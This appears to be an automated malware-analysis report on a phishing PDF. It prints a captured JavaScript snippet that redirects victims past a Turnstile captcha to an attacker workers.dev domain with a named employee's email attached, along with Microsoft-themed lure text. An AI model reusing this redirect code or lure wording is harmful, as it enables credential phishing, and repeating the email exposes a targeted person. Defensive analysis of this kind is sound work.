Windows Analysis Report
Executed_Innocap-#81(Final.pdf

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The use of a Cloudflare Turnstile captcha and the redirection to an unknown domain with a user's email address suggest this script may be part of a phishing or malicious campaign."
}

    var redirectTo = "https://4tv2pwqk.nhubiubuniunuion.workers.dev/?username=hugues.bessette@innocap.com";
    var verifyCallback_CF = function(response) {
      var cfForm = document.querySelector("#cfForm");
      if (response && response.length > 10) {
        window.location.href = redirectTo;
        return;
      }
    };
    window.onloadTurnstileCallback = function() {
      turnstile.render("#turnstileCaptcha", {
        sitekey: "0x4AAAAAAAcGNtktljfyIfzu",
        callback: verifyCallback_CF,
      });
    };
  

{
    "typosquatting": true,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": true,
    "third_party_hosting": true
}

URL: https://nhubiubuniunuion.workers.dev

{
"contains_trigger_text": true,
"trigger_text": "You have a secured document today. Microsoft requires you to scan to review the document.",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": true,
"has_visible_qrcode": true,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Please stand by, while we are checking if the site connection is secure\nWe needs to review the security of your connection before proceeding.",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": [
    "Microsoft",
    "OneDrive"
  ]
}

{
  "brands": [
    "Cloudflare"
  ]
}